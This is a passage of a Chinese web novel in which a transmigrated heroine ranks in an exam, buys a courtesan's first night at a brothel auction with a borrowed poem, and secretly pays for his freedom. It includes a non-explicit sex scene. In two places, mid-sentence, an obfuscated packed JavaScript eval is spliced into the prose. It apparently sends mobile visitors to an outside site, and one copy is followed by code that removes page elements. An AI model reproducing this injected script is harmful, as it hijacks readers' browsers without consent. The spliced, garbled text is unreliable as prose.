她道:“这儿都是常客,大家看见您涮笔,我若洗了放回去,她们以后一定会怀疑自己用的就是涮笔的那只茶碗。我当众摔了,让大家心安。再摆起来,别人好奇自然会问,我也好说出这个典故。陆今朝光顾过的茶摊,说不定有人想尝尝是什么味道。” 陆今朝笑了笑,“你很会做生意,跟我走吧。” 转眼间二十余年过去,平希玉已经从当年那个小女孩变成了独挡一方的掌柜。她是陆今朝的得力心腹,不仅执掌久安堂在京城的所有铺面,陆家在京城的其他产业都由她每月查问清点,统一汇报给陆今朝。 陆今朝对平希玉有再造之恩,所以,平希玉对陆锦澜比自家孩子还上心。 这位大少娘一时意气跑到她所在的地界,只怕接下来的三年,她都要提心吊胆,少了根头发她都得向云州请罪。 席间,平希玉说起寿宴那天的事,晏无辛和项如蓁颇为震惊,“你是逃婚出来的?” 陆锦澜:“别提了,我娘给我找了一个奇葩。你们要是我,你们也得逃。” 平希玉忙道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220243|181489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我听东主说宋将军的独子温和有礼,与您家世也相当,很适合做您的正夫。” “拉倒吧!”陆锦澜想起来那胖瘦仙童就反胃,“你喜欢你让你女儿娶,反正我不要。对了,我这一走,我娘一定很生气吧?” 平希玉笑着摇头,“以我对老东家的了解,她只是看似很生气,骂了几句,心里不知道多高兴呢。席间还说起她当年在和别人的订婚宴上,把你爹带回来的事儿。” “啊?”三人听到长辈的陈年狗血八卦,差点惊掉了下巴。 平希玉却不肯细说,只道:“她心里一定高兴,因为你很像她。就算你不顾一切的跑了,她还是在众位宾客面前,正式给您办了立少主仪式。” 陆锦澜:“我都不在,她怎么立啊?” “您不是属猪吗?邹管家找了只小猪,让锦淇小少娘抱着拜了祖先,接了少主令。” 大家愣了一下,一阵爆笑。 * 就在她们欢笑的时候,皇家学院院长凌知序会同礼部尚书,正在做最后的定夺。 礼部尚书拿着项如蓁的名牌,“这个学生毫无背景,日后入了官场,也做不成事,确定要吗?” 凌知序道:“此人武试时出了些波折,她若不入选,只怕不能服众。” 礼部尚书点了点头,将项如蓁的名牌交给学监,“那便入选吧。我听说陆锦澜武试时表现惊人,比项如蓁还好,凌院长要将她定为第一名吗?” 凌知序长叹一声,颇为头疼,“此人有些古怪,听闻她在云州时成绩一直倒数,结业时却莫名考了个状元。此次武试也是,没听说她擅长武艺,倒是听说她颇为风流,也不知怎么超常发挥力压了全场。她能做第一名吗?我看她是带头闹事第一名。” 礼部尚书笑道:“这样的人,不正适合做第一名吗?何况此人的试卷皇上赞不绝口,亲自画了圈的,总不能不录她吧?” 凌知序沉吟片刻,有了决断。 * 榜单还未张贴,好信儿的人已经围在学院门口等着了。 三人倒是不着急,睡了个午觉,才悠闲的去往学院。 陆锦澜好好地走在路上,系统突然叮了一声。 「恭喜解锁扬名立万成就,生命值+10000」 看来是放榜了,陆锦澜骄傲的撇了撇嘴,立刻对项如蓁和晏无辛道:“我有预感,我一定入选了,而且还是个人人都讨论的名次。” 项如蓁老实的回答:“那当然,按照今天场上的表现,你第一我第二。不过我现在没那么乐观,毕竟这里面的事情很复杂,能录取就可以了。” 陆锦澜知道自己几斤几两,场上超常发挥全是兴奋剂的作用,她作为一个药物选手,也不好意思直说。只道:“我觉得如蓁应该排第一,余下那些水准都在我之下,她们凭什么排到我前面去?” 晏无辛扬着下巴一脸骄傲,“就是,要是把你们排在后面,咱就去找院长要个说法。” 三人说笑着挤到榜前,瞬间傻了眼。 15. 第 15 章 第一名是项如蓁,第二名却不是陆锦澜。 三人从上往下找,第十一名的位置终于出现了陆锦澜的名字。后面还标注着一行小字:「该生考场闹事,影响恶劣,故以最后一名录取,以示惩戒。」 陆锦澜磨了磨牙,这榜排得真让人无话可说。你说不公平吧,人家说了事出有因。你说公平吧,前面一堆不如自己的。她努力了一溜十三招,又把自己搞成倒数第一了。 左隋之用力拍了拍她的肩膀,“锦澜,你可一定要挺住啊。” 陆锦澜故作潇洒道:“这有什么?不就是最后一名吗?反正考上了,我不在意。隋之,你也看开点,此处不留娘,自有留娘处。” 左隋之:“我是能看得开的,毕竟没什么人讨论我。但是你就……我听说刚有几位说书人看了榜,已经回去写你的段子了。” 噫!怪不得触发了扬名立万成就呢。 说书人那张嘴添枝加叶一传,全京城都知道她的事迹了。 陆锦澜无奈叹了口气,“事已至此,我也没有办法。走自己的路,让别人说去吧。” 项如蓁和晏无辛齐齐竖起大拇指,“姐妹儿,够豁达!” 陆锦澜呵呵一笑,该玩还得玩。她跟着大家一起上了马车,直奔晏无辛郊外的庄子。 三天后入学,这三天够大家撒欢儿玩儿的。 十九个外地考生加上晏无辛这个本地人,二十个少年人聚在一起,热闹极了。 第一天吟诗喝酒谈天说地纵马狂奔,第二天畅游神京结伴出游。别人兴致勃勃,可这些传统项目晏无辛从小玩到大,早就玩腻了。到了第二天晚上,她琢磨着玩点儿花活。 * 陆锦澜洗了澡,正打算在系统里挂上课准备睡觉,晏无辛敲门进来。 “换身漂亮衣服,本少娘带你去个好地方。” 陆锦澜还以为是什么观星捕萤的活动,不疑有他,换好衣服就上了马车。等车动了,才奇道:“不叫上如蓁吗?” 晏无辛:“这事儿能叫如蓁吗?她开口圣人曰色即是空,闭口圣人云空即是色。昨天还劝我把那些应子都遣散了,娶个正夫好好过日子。这种事儿,叫她她也不会来,还得把我训一顿。” 陆锦澜越听越不对劲,“咱到底要去哪儿啊?” “逢春楼啊,今晚逢春楼举办一年一度的花郎大选。你我乃是京中数一数二的风流人物,论赏鉴男色,谁能比得上咱们?我们若不去,那些庸碌之辈肤浅之徒能选出什么好东西?” 晏无辛说这话的时候眼底闪过骄傲的华彩,十分自信。 陆锦澜却莫名有些抗拒,“那个……我没带钱,还是算了吧。” “哎呀我带了,今晚我请。” “不是,这不是请不请的事儿……” 马车到了逢春楼门口,晏无辛还在苦劝:“咱就进去看一眼,没你喜欢的,咱转身就出来。” 陆锦澜刚想说什么,系统弹出了新提示。 「叮!恭喜宿主触发新任务——逛青楼。」 得了,这下不用抗拒了。陆锦澜认命的理了理衣衫,“好,进去看看。” 看着陆锦澜大步向前的背影,晏无辛勾着嘴角啧了一声,“你说你这人,就爱假正经。” * 今晚逢春楼高朋满座贵客如云,丝竹管弦觥筹交错,热闹非常。即便如此,二人一入场还是引起了一阵骚动。 “这是谁家少娘?少年意气衣履风流,真是好气度!” 两人往那儿一站,老板夫立刻满脸堆笑的迎上来,仿佛很熟络似的说道:“两位贵客怎么才来?雅座都满了。小二,快看看哪里还有位置。” 陆锦澜闻言忙低声对晏无辛道:“没位置就算了,咱们现在也算小有名气,万一给人看见……” 她的意思是给人看见出入青楼有损清誉,没想到晏无辛会错了意。 她以为陆锦澜嫌待遇不好,当下便故意吵嚷起来,一脚踩在凳子上,高声道:“京城第一才女光临捧场,你竟如此慢待?老板夫,你到底会不会做生意?” 此话一出,人群忽然安静,齐刷刷朝她们看过来,看得陆锦澜浑身不自在。 老板夫愣了一下,顿时转惊为喜,“难道……您就是今科第一风流才女陆锦澜?” 晏无辛甩开折扇摇了摇,“在下姓晏。” 老板夫瞪大了眼睛,“您是晏无辛?” 这回轮到晏无辛愣住了,“我可是第一次来你们家,你认识我?” 老板夫笑道:“晏无辛、项如蓁,将进酒,杯莫停。这《将进酒》的诗稿,还是从您晏府上传出来的,如今京城里三岁的孩子都会背了。您几位又在考场大显身手,为朋友义薄云天好一番作为。这等美谈街头巷尾人人称诵,谁人不知?你们是一夜之间声名大噪的少年英豪,嬅国上下不知有多少男儿为之倾倒。万万想不到,二位竟肯贵步临贱地,我这小小逢春楼能得二位光顾,何其有幸。” 老板夫一边说着一边拉住陆锦澜的袖子,生怕她走似的。 他两眼放光的夸赞了一车的话,一叠声的催小二在二楼加桌子,亲自引她们上楼,还立刻让乐师换曲子,“奏《将进酒》!” “我们逢春楼填了《将进酒》和《春江花月夜》的曲子,一会儿请二位少娘指教一二。” 晏无辛高兴得应着,下巴都快扬到天上了。陆锦澜却百感交集,她知道自己最近有点名气,可没想到已经到了家喻户晓的程度。可想而知,今晚逛青楼的事儿也必定传出去,她这个风流的标签怕是撕不掉了。 得,不能白担了虚名。 陆锦澜把心一横,昂首阔步的上楼。一路上不时有人向她们拱手,陆锦澜微微点头,落座前朝四周拱了拱手,算是还礼。 晏无辛得意的撞了下她的肩膀,“今晚的客人不乏达官显贵,而且神京人很排外的,她们能对你这个云州才女如此恭敬,你算是在京城混出名头了。” 陆锦澜淡淡的瞥了她一眼,阴阳道:“那是不是得感谢你,替我扬名?” 晏无辛嘿嘿一笑,“好文共赏,此等佳作,嬅国文坛都为之一震,我怎可独览?” 陆锦澜喝了口茶,没说话。 晏无辛忽道:“你不怪我吧?” “嗯。” “我不是说传诗文的事。” 陆锦澜不解:“还有什么事?” 晏无辛抿了抿唇,颇为心虚道:“那天在考场,我……我动作慢了,你不怪我吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆锦澜沉默片刻,只道:“活泼温顺的不适合我,我喜欢特别的。” 晏无辛不以为然,“男人有什么特别的?脱了衣服都一个样。” “……”陆锦澜深吸一口气,一时语塞。 穿书两个多月了,她还在努力适应中。 恍惚间她想到了那日偶遇的白衣公子,似乎只有那种贴合她审美,有独特灵魂的人,才能让她心动。然而,陆锦澜很快被打脸。因为台上出现了一个人,也很贴合她的审美。 这位公子是最后一位表演者,容貌硬朗,身型宽阔,颀长的身姿透着一股成熟淡然的气质。鼻梁高挺,眉宇间忧郁深沉,眼底的寒凉与这热情似火的逢春楼格格不入。 陆锦澜饮了口茶,“这个十号,有点儿意思。” 晏无辛看了一眼,摇了摇头,“怎么板着个脸?像不情愿似的,怪怪的。” 陆锦澜笑而不语,在这种地方,做这种职业,欢欢喜喜才奇怪吧? 这位公子的才艺也不是寻常歌舞,他手持一把长剑半壶清酒缓步上台。一仰头酒入愁肠,乐师随之奏起了《将进酒》。他执剑起舞,漂亮的剑招顿时博得了一阵喝彩。 “呦,这一看就是练过的。”晏无辛眼神微变,从怀里摸出一沓银票放到陆锦澜面前,“这个人有点扎眼,你的竞争对手不会少的。看见他们腰带上缠着的那截金丝带了吗?你得出价最高,才能归你。” 陆锦澜暗想:反正不花我的钱,我也体验一把榜一大佬的快乐,收集个周边玩玩。 她此刻,丝毫没有意识到问题的严重性。 16. 第 16 章 十位小公子表演完毕,老板夫拎着一面铜锣再度登场。走的是拍卖流程,公子们按照出场顺序一一上前,楼上楼下的恩客开口出价,价高者得。 晏无辛花了三千两,拍中一号。一号小公子立刻快步上楼,带着三分羞怯七分欢喜,笑吟吟的站在晏无辛面前,“请少娘亲手解带。” 晏无辛拽下他腰上那截金丝带,看了眼上面绣的名字:“方卿,好名字。” 方卿不语,只是低头浅笑。 晏无辛拉着他的手腕,让他坐在身侧。方卿训练有素,立刻拿起酒壶给她斟酒,还给陆锦澜也倒了一杯。 陆锦澜两辈子第一次逛青楼,第一次见识到这种场面,尤其是两人在她面前眉来眼去动手动脚的,她简直都不知道眼睛看哪好了。 拍卖还在继续,陆锦澜一直没有出价,只是喝着酒,时不时的往楼下瞧一眼,却偶然撞见了朝她投来的目光。 十号,那位气质卓然会舞剑的公子,用他那双忧郁漂亮的眼睛仰望着她。 陆锦澜心神一晃,摸过晏无辛的扇子扇了扇,忍不住打听:“方公子,你知不知道十号叫什么名字?” 方卿正给晏无辛按揉着肩膀,闻言抻着脖子往楼下瞥了一眼,“他啊,叫楼雨眠。” 晏无辛微微睁开眼,“姓楼?是不是前月获罪的楼大人的家眷?” 方卿:“正是,楼大人因大不敬而获罪,楼家上下都跟着遭殃。女的全部流放到偏远苦寒的长洲,男的自然是被卖到青楼了。雨眠是楼大人的庶子,侧夫所生。我听说他爹早逝,楼大人是很疼他的,可一出事,也顾不上了。” 陆锦澜不由叹道:“真是可怜。” 方卿笑了笑,“陆少娘若可怜他,就拍了他吧。雨眠不仅会剑术,还爱读书,你的诗文他倒背如流,他还读了你的策论,对您仰慕至极。” 晏无辛瞥了方卿一眼,语带含酸的问:“那你呢?你也仰慕锦澜吗?” 送命题,连陆锦澜都替方卿感到为难,调侃道:“无辛,你这是什么问题?咱们两个都在这儿,你让人家怎么回答?” 晏无辛摆了摆手,颇有兴致道:“我偏要听他的回答。” 方卿垂眸一笑,从容开口:“陆少娘名满京城,此等大才,多少富家公子都为之心折,青楼之中更不乏仰慕者。但方卿与旁人不同,我是个蠢人,我不识字。我仰慕的人是对我另眼相看,为我一掷千金的……” 他说着环住晏无辛的腰,在她耳边低语:“你。” 陆锦澜暗自佩服,怪不得人家能参加花郎大选,有点本事。 几句话八面玲珑左右逢源,夸了陆锦澜,向晏无辛表明了心意,还带出几分惹人怜爱的模样。连撩人的动作都做得那般自然,要不是陆锦澜亲眼所见,真不敢相信这俩人刚认识。 晏无辛果然对这个回答很满意,脸上漾起满足的笑意,勾着方卿的下巴亲了一下。 陆锦澜叹息着移开目光,感觉自己更像个古人。 终于快到楼雨眠了,前面九位小公子,价格最高的是六号七千两。楼雨眠只要拍出七千零一两的价格,便能当选今年的花郎。 陆锦澜看着他时不时投来的目光,决心做一回惜花之人。 她先数出八千两银票,锣声一响,老板夫道:“十号小公子,一千两起拍,请各位恩客出价。” 陆锦澜立刻应声:“八千两。” “哇!”众人一片哗然。 见晏无辛看过来,陆锦澜忙道:“算我借的,回头还你。” “啧,什么还不还的。我的就是你的,姐妹有钱一起花。” 方卿调笑道:“果然是姐妹如手足,男人如衣服。” 晏无辛捏了捏他的手,“你是我最喜欢的衣服。” 说笑间,老板夫已经准备敲锣了,楼雨眠正要往楼上走,忽听有人高喊:“九千两!” “哎呦!”全场顿感震惊,都道:“今天是什么日子?财神下凡了?” 叫价的人就在陆锦澜旁边那桌,从她的角度看过去,只能看到一张侧影。那人看起来也不过十七八岁,五官凌厉腰背笔挺,一身上位者的气质。 陆锦澜不甘示弱,“一万两。” 老板夫乐得跟什么似的,万万没想到今晚的重头戏在这儿。 “一万两,这可破了历届花郎大选的纪录了。陆少娘出价一万两,还有人加价吗?” “一万一千两!” 陆锦澜皱眉,旁边那人好像跟她杠上了,也不知是真的喜欢楼雨眠,还是就想抢她喜欢的。 晏无辛看热闹不心疼钱,“加价,谁怕谁啊!” 陆锦澜:“一万两千两!” 两人谁也不让,几轮过后,陆锦澜咬牙加到了一万七千两。 那人对老板夫道:“我出门没带那么多银票,只有一万六千两。不过,我这儿有一枚稀世奇珍夜明珠,少说也得值十万两,我把这个押上。怎么样?陆少娘,你还能加价吗?” 那人的近侍捧着夜明珠向全场展示,陆锦澜犹豫间,晏无辛拽了拽她的袖子,低声道:“不妙,这颗夜明珠好像是给宫里进贡的东西,这人八成是皇家的人。” 陆锦澜本来都要放弃了,一听皇家的人又来了斗志。王侯将相宁有种乎?都跑到青楼里来抢男人了,谁比谁高贵? 她对晏无辛道:“不知者不罪,咱就当不知道。” 陆锦澜说着站起身,对老板夫道:“我也没带那么多银票,不过诸位是知道的,在下擅长诗赋。我愿献诗一首,至于能抵多少两银子,就由楼公子来裁定,如何?” 老板夫还没应声,众人已经抢着鼓掌叫好,场内一阵喧腾。 老板夫立刻着人铺纸研墨,陆锦澜大步上前,略一思索,提笔写到:《琵琶行》——梦会白居易偶得一作。 陆锦澜想:那位靠着皇家身份出手就是稀世珍宝,我身为穿越者自然不遑多让。这种时候,当然抄书了。大家都是天龙人,各有各的无敌,至于结果如何,就让楼公子自己选择。 刚略一思索的时候,她是在想,抄哪首更应景。逢春楼声色犬马之地,这些小公子是沦落风尘之人,当即便想了《琵琶行》。 当然了,为了符合当下的时代背景,不得已做了些改动。 把“自言本是京城女”,改成“自言本是京城男”。诸如此类的还有“妆成每被秋郎妒”,“姊走从军阿叔死”,“老大嫁作 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陆锦澜学着晏无辛的样子,一把拽下他腰上那截金丝带,上面果然绣着他的名字。 众人又是一阵起哄,陆锦澜莫名有些脸热。偏偏楼雨眠不似方卿那样八面玲珑,也跟她一样木然的站着。两个人愣愣的杵在那儿,相对红了脸。 晏无辛看不下去,嚷嚷道:“春宵一刻值千金,大家散了吧,别耽误我们回房。” “回房?”陆锦澜猛地回过神,一把抓住她,“什么意思?” “什么什么意思?”晏无辛压低了声音,“这是什么地方?宽衣解带是什么意思?别告诉我你不知道。今晚这么多人比着砸钱,难道是为了聊天喝酒?” 陆锦澜:“可我真没想那样……哎呦!” 不等晏无辛说话,系统先给了她一下。 「有便宜不占,有违男频精神,扣十分。」 陆锦澜捂着疼痛的肩膀一脸为难,晏无辛:“怎么了?你怕他们不干净啊?能参选花郎的都是贞洁之男,没接过客的,不信等会儿你检查下守贞砂。” 她说着示意楼雨眠过来,“扶陆少娘回房吧,她有些醉了,你今晚可要好好伺候。” 陆锦澜稀里糊涂的进了卧房,拂开楼雨眠的手,独自坐在书案前,“你去帮我沏杯茶来。” “好。” 楼雨眠一出门,陆锦澜紧急和系统交涉。 陆锦澜:「我不是可以随心所欲吗?系统凭什么要求我必须睡他?」 客服老太:「你之所以可以随心所欲,是因为你有男频男主的待遇。但男频的随心,随的是色心。随心所欲当然不是清心寡欲,而是纵情纵欲,你见过男频男主在青楼空手而回的吗?」 陆锦澜深吸一口气,「那也不行,我怕生病。」 「你见过男频男主得性病吗?」 「没有。」 「那你也不会。」 陆锦澜陷入长久的沉默,楼雨眠推门进来,“茶来了。” 她忽然灵机一动,他要是不愿意,系统不能怪我吧? 17. 第 17 章 陆锦澜正在筹谋着如何开口,一杯热茶已经塞到她手里,身侧的人突破了安全距离,靠得很近。 陆锦澜不动声色的往后挪了挪,楼雨眠勾了勾唇,“你是第一次来青楼?” “嗯。”陆锦澜闷声喝茶。 “我也是第一次接客。” “咳。”陆锦澜呛了口茶,咳得脸红如霞。 楼雨眠无声笑了笑,清冷的五官散去阴霾,犹如窗外的天气,阴云密布之后,终于下了起畅快的雨。 陆锦澜一会看看窗外的雨,一会儿看看窗内的人。 楼雨眠生得别致,像雨中的玫瑰。那双忧郁的眼睛,仿佛永不结束的雨季。锋利的下颚便是带刺的玫瑰,倔强又清高。铜镜里倒影着他的脸,隐约有种潮湿而沦落的美。 感受到她打量的目光,他忍不住问她,“在想什么?” “你的名字,为什么叫雨眠?” “我娘说我出生的时候恰逢一场大雨,我只哭了一声就睡着了,所以她给我取名雨眠。” 他说这话的时候,脸上带着温和的笑意,没有一点被家人连累的怨念。 陆锦澜踌躇着开口,“我听说了一点你的故事,今天看你上场的时候,一脸悲壮,实在不像欢场公子。” 楼雨眠苦笑,“那像什么?” “像被逼着上战场的战士。” 楼雨眠垂下眼眸,“这里的爹爹说,我没有卖笑的天赋,只能趁青春年少有一副好皮囊赚点钱。最终下场大约就是你诗里写的那样,门前冷落鞍马稀,老大嫁做商人夫。” 陆锦澜忙道:“别上诗文的当,太悲观了,以后的事不知道怎么样呢。我知道你是身不由己,今晚我不会强迫你做任何事。” 楼雨眠连连摇头,“不,我在风尘之中,今晚以后都要过身不由己的日子,可唯独今晚我是情愿的。” 陆锦澜:“……” 我的主角光环这么强大吗? 客服老太:「人家情愿,你还有什么理由推脱?」 陆锦澜:「到亥时了,你下班吧,不要你管。」 客服老太:「系统任务已经触发了,我下班你也得做。」 「做做做,没说不做,别催了。」 陆锦澜心头烦躁,男人跪在她身侧,试探着握住她的指尖,字字恳切,“谢谢你选我,不然我真不知道今晚要怎么过。我会好好伺候你的,虽然我没有什么天赋,但这里教得我都学会了,我学得很好。只是不想被那些庸俗的客人注意,才假装笨笨的。我可以做得很好,你相信我。” 他说着便解开了外衫,陆锦澜连忙按住他的手,“别这样。” 他声音微颤,哑声解释:“我只是想给你看守贞砂,我是干净的。” 陆锦澜心头一震,她俯视着卑微的祈求她怜爱的男人,那双忧郁的眼睛仿佛一字一句的诉说着“不要嫌弃我”。温润的指尖抚过他的眼角,一种难以言说的情愫涌上心头,她微微俯身,吻住他微凉的唇。 楼雨眠一怔,似乎连呼吸都忘了。 陆锦澜笑着捏了捏他的脸,“是假装笨笨的吗?怎么看起来像真的?” 楼雨眠陷入尴尬得自我反省,心跳如鼓,咚咚咚吵得他忘了反应。 再度抬眸,陆锦澜已经倚在床头,她拍了拍身侧的位置,“雨眠,过来。” 夏夜的雨来得格外急,倏尔急促得乱了章法,倏尔绵长温存小心翼翼。 当暴雨惊雷渐渐止住,屋内的喘息也渐渐平缓。 陆锦澜兴奋过后进入短暂的疲倦,眯了一会,再次睁眼开,窗外依旧淅淅沥沥,身侧温热的躯体紧靠着她,结实的手臂横在腰间,贪恋得抱着她。 见她醒了,男人忙问:“冷吗?” “不冷,你怎么不睡?” 他沉默片刻,婉转的回答:“不想一睁眼就看见天亮。” 陆锦澜心头一软,抚摸着他的眉眼,声音温柔:“有什么是我能为你做的吗?” 楼雨眠闻言眼眶湿润,“有你这句话,便足够了。我知道你是个重情重义的英雌人物,会为了朋友奋不顾身赴汤蹈火。可我这样的出身,不敢奢求你的任何眷顾。有此一晚,死而无憾。唯一奢望的……便是雨季再来的时候,你还能想起我。” 他握住陆锦澜的手,“再下雨的时候,你还会记得我吗?” 陆锦澜笃定的回答:“当然,我永远不会忘记你的。” 楼雨眠笑着摇头,“我猜这句话你对很多男人说过,但我听到还是会高兴。” 陆锦澜不解,“我没有很多男人,至少现在没有。” 楼雨眠不信,“天下谁人不知你是风流才女?就算你没成婚,无名分的露水情缘怕是不少吧。不然那些诗是怎么来的?说什么梦会,不就是幽会吗?” “诗?大家原来这么想?怪不得……”陆锦澜恍然大悟。 她一直奇怪,她就是比别人多瞄几眼男人而已,怎么人人都说她风流?原来大家都误会了,以为那些诗都是幽会的纪念。她习惯在诗作上标注原作者,写为“梦会某某偶得一作”。 她设想的梦是她和原作者坐着谈天说地,没想到大家都以为她是和那人躺着,不知天地为何物。 真是冤枉!虽然,此时此刻也不怎么冤了。 楼雨眠在她颈间蹭了蹭,低声恳求:“你给我也写一句吧。一句就好,我绝不张扬,留着自己赏鉴。” 陆锦澜笑道:“我告诉你个秘密,我只有梦里得来的诗是好诗,醒着自己写的不怎么样。” “你写的就是好诗,我说的。” 见他如此央求,陆锦澜只好坐起身,“拿笔墨来。” 其实,当她见到楼雨眠的第一眼,便感觉到他一定有自己的故事。当她真听了他的故事,又暗自感叹人生境遇无常变幻。此刻她不假思索,提笔将他不愿诉说的忧愁写在纸上。 昏黄幽暗的烛火旁,楼雨眠自背后抱着她,手上拢着的外衫将两人裹住,“真写给我?” “是,为你而作。” 楼雨眠眼中闪过一丝欣喜,见她笔下写道:已入红尘若许年,今朝方晓人世艰。眉间无限伤心事,夜倚危楼听雨眠。 题为《初逢雨眠》,写上日期,还盖上了印鉴。 楼雨眠一惊:“你不怕我拿给别人看?” 陆锦澜认真道:“我是怕你拿给别人看,人家不信,所以留下印鉴,免得你无凭据受委屈。” 楼雨眠愣在那儿,眼泪和笑意同时涌现在脸上,“你真是……大英雌本色,敢做敢当第一人。” “怎么哭了?”陆锦澜笑着拭去他脸上的泪痕,故意逗他,“时候还早,要不……” 话音未落,人已经扑 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“不像。你知不知道他们这种的,赎身要多少银子?” “几千两吧,最多不到一万两。” 陆锦澜惊叹:“这么便宜?” “男人嘛,过了初夜不值钱。哎,你真想给他赎身啊?” 陆锦澜谨慎道:“你等我思考一下再回答你。” 她立马去咨询刚上班的客服老太:「如果我给楼雨眠赎身,算不算违背男频精神?」 客服:「不好说,没人这么干过。男频这边不会无故给发生过的关系青楼女子赎身,除非对方有特殊技能,或者有特殊的可利用的身世背景。总的来说,除非你有功利性的目的,否则无故给人赎身,很容易被系统判定为道德感过高责任心过强,严重违背男频精神,一定会痛打你的。」 陆锦澜深吸一口,回答晏无辛:“我不想给他赎身。” 两人回到庄上,一进门正撞见找她们的项如蓁。 “你们昨晚去哪儿了?怎么不在房间里?” “观星。” “野钓。” 两人同时开口,给了完全不同的答案。晏无辛连忙综合了一下,再次回答:“一边观星,一边野钓。” 项如蓁诧异,“可昨晚下雨,哪来的星星?” 陆锦澜眨了眨眼:“是啊,下雨看不到星星,也没法钓鱼,所以我们在山洞里将就了一晚。不说了,又打雷又下雨的,一晚上都没睡好,我先回去补觉。” 项如蓁提醒:“明天咱们就要去学院报到了,开学在即,都收收心,别乱跑。” 两人心虚的“嗯”了一声,各自回房。 陆锦澜躺在床上,忍不住想:一夜风流而已,露水情缘,阳光一晒就了无痕迹。 理智告诉她,应该像男人一样,无利不起早,别去做无谓的事。可想起那双忧郁的眼睛,还是让她辗转反侧。 陆锦澜暗自咬牙:我到底不是卑劣的男人。 当晚亥时刚过,晏无辛准备就寝。陆锦澜焦急的推门进来,晏无辛忙问:“怎么了?” “嘘!”陆锦澜神神秘秘的不让她说话,在她面前举起了一张纸。 18. 第 18 章 晏无辛一看,上面写着:「别说话,小心被人听见。」 晏无辛往四周看了看,“没有人啊,被谁听见?” 陆锦澜急得捂住她的嘴,生怕不小心触发系统反应,她拉着晏无辛到书案前用笔来对话。 陆锦澜写:「别管了,总之不要说话,想说什么就写出来。」 她又给晏无辛看了提前写好的另一张纸:「我拜托你帮我做一件事,尽量保密,不要跟任何人说,最重要的是不能跟我说。」 晏无辛读到这句话,眉头都快拧成结了,在旁边默默的勾了个问号。 陆锦澜又写道:「如果有什么意外情况和必须交流的事,写在纸上,在亥时以后辰时之前交给我。」 这个时间段客服不在,系统没有人工监管,陆锦澜感觉应该可以卡个系统BUG,钻这个漏洞。 她把三万两银票还有最后一张纸塞到晏无辛手里,推着她出门。 晏无辛展开一看,上面写着:「你立刻去逢春楼给雨眠赎身,剩下的钱帮他安顿一下,让他开始新的生活。」 陆锦澜亲眼看着晏无辛点头答应,看着她上了马车,悬着的心终于放下。 她自认对楼雨眠没有动心,只是有几分怜惜。但她实在不忍见他沦落风尘,过那种强颜欢笑的日子。 而且,他喜欢她。陆锦澜在楼雨眠这儿接连达成了“俘获郎身”和“俘获郎心”两项成就,分别加了6666和9999的生命值。 陆锦澜觉得,就冲这个她也该照顾他一下。 两个人是一张床上睡过的关系,那句话怎么说来着?一夜妻夫百日恩。 花一点钱就可以改变一个人的命运,性价比绝佳。所以,哪怕冒着可能被系统判罚的风险,她还是做了。 想到这儿,她不禁又暗自感慨:我到底不是卑劣的男人,我这个女人太他爹的善了。 事情已经做了,她不会再多想。只希望晏无辛一切顺利,楼雨眠从此不必困倚危楼夜不成眠。 * 第二天是该去学院报到的日子,项如蓁一向起的很早,天蒙蒙亮便起床练功,到用早膳的时候才把陆锦澜叫起来。 陆锦澜迷迷糊糊地问:“无辛呢?” “叶游说她家老娘回来了,无辛昨儿夜里被叫回了大宅,实在无法抽身,一会儿直接去学院和咱们汇合。” 夜里被叫走?也不知道事儿办妥了没有。陆锦澜对晏无辛这个朋友评价很复杂,感觉她时而靠谱时而不着调的。 当然了,晏小少娘只是一个十六岁的小孩儿,陆锦澜也不能要求她多深沉稳重。她自己本身也不是个稳重的性子,真正稳重的另有其人。 项如蓁:“咱俩快点儿吃,一会隋之她们要回去了。无辛不在,咱俩代她去送客,跟大家说明缘由,免得失礼。” 陆锦澜猛灌了半碗粥,“好。” 未被录取的八位考生要回原籍了,被录取的十一人要赶往皇家学院。 大家各自收拾好了行囊,站在门口互相道别。 陆锦澜抱了抱左隋之,“真希望我们还能再见。” “会的,我有预感,我们一定会再见。到时候你们身在高位,可别装作不认识我。” 大家打趣了几句,叶游来通知她们,马车已经备好。 众人正要动身,忽见几辆马车奋力扬鞭的赶过来。 项如蓁眼尖道:“是久安堂的马车,平掌柜来跟大家道别了。” 自从陆锦澜和同学们到这庄上,平希玉几乎日日都带人过来,送些蔬菜瓜果山珍野味之类的。同学们都和平掌柜混熟了,都知道陆家管事的家人极其周到。 这次平希玉来,又带了几车东西。 “紧赶慢赶,终于赶上了。我代表我家东主,感谢各位对我家少主的照顾,备了一点薄礼,请各位小友笑纳。” 她说着便让陆锦澜把礼物分发给大家,给离京的同学准备的是几包常用药材、补品、神京土仪还有一些点心干粮,都是大家用得上的。 左隋之笑道:“呦,竟然还有药,我们年纪轻,可想不了这么周全,多亏了平掌柜。” 平掌柜笑道:“东西都不重,你们路上带着也方便。这些大件的,是给她们上学用的。有新制的被褥、文房四宝、布匹、还有些日常用具,都是我亲自挑选的,大家也一定用得上。” 众人纷纷道谢,分批上了马车,挥手告别。 人生南北多歧路,君向潇湘我向秦。 陆锦澜正感伤的挥手,平希玉悄悄把她拉到一旁,塞给她一沓银票。 陆锦澜一愣,“这么多?” “从柜上支取的,过几日我去云州,会把这笔钱跟老东主交待明白。你进了学院,一时半会儿出不来,里面的事我帮不上忙,你要好好照顾自己。少与人冲突,钱能解决的事就用钱解决,陆家不差钱,但少主你可千万不能有任何闪失。” 陆锦澜乐呵呵的收下,正好手里没什么钱了。 平希玉又道:“皇家学院里规矩多,里面多的是有背景有关系的人,遇事不可强出头,凡事忍让几分。有棘手的事儿,等休沐的时候出来告诉我,我一定帮少主解忧。有我在,您什么事都无需担心。” 陆锦澜给她夸张的施了一礼,“知道啦,我娘爹都没你这么紧张,我是去上学,又不是上刑场,能有什么事啊?你回吧,我走了。” 陆锦澜和项如蓁上了马车,平希玉还是忍不住叮嘱几句。 